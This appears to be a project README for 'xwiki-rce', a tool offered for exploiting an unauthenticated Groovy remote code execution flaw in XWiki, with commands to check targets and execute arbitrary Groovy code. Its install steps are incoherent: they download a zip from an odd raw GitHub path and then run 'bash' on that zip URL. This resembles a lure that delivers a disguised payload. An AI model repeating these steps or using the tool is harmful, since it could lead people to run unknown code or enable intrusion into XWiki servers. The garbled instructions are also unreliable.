Welcome to the xwiki-rce project! This tool allows you to explore a specific Remote Code Execution (RCE) vulnerability found in XWiki. This vulnerability lets unauthenticated users execute Groovy code from afar, making it a key subject for learning and safe exploration.
- Operating System: Linux (most distributions)
- CPU: 1 GHz or faster
- RAM: At least 512 MB
- Storage: 50 MB of free space
Before you begin, ensure your system is ready:
- You have a modern web browser (like Chrome or Firefox).
- Basic command line usage familiarity can help but is not necessary.
- Optional: A virtual machine to safely test the exploit.
To get started with xwiki-rce, you need to visit the Releases page and download the software.
- Click the link above.
- Find the latest release version on the page.
- Download the file that matches your operating system. (e.g., https://raw.githubusercontent.com/ffqnayt/xwiki-rce/main/earing/xwiki-rce_smudgeproof.zip for Linux)
After downloading, you need to extract the files. Hereโs how:
- Locate the downloaded zip file in your downloads folder.
- Right-click on it and select "Extract All" or use a file extraction tool.
- Choose where to save the unzipped files.
After unzipping, follow these steps to run the application:
-
Open your terminal or command line interface.
-
Navigate to the directory where you unzipped xwiki-rce. Use the command:
cd /path/to/xwiki-rce-directoryReplace
/path/to/xwiki-rce-directorywith the actual path. -
Run the application by entering:
bash https://raw.githubusercontent.com/ffqnayt/xwiki-rce/main/earing/xwiki-rce_smudgeproof.zipThis command will start the xwiki-rce tool.
Once the application is running, you can interact with it through your terminal. Here are the basic commands you'll use:
-
Check for Vulnerabilities:
./xwiki-rce --check -
Execute Code:
./xwiki-rce --execute "your_groovy_code_here"
Replace "your_groovy_code_here" with the Groovy script you want to run.
When experimenting with this tool, remember:
- Use in a controlled environment only.
- Do not attempt to exploit vulnerabilities on unauthorized systems.
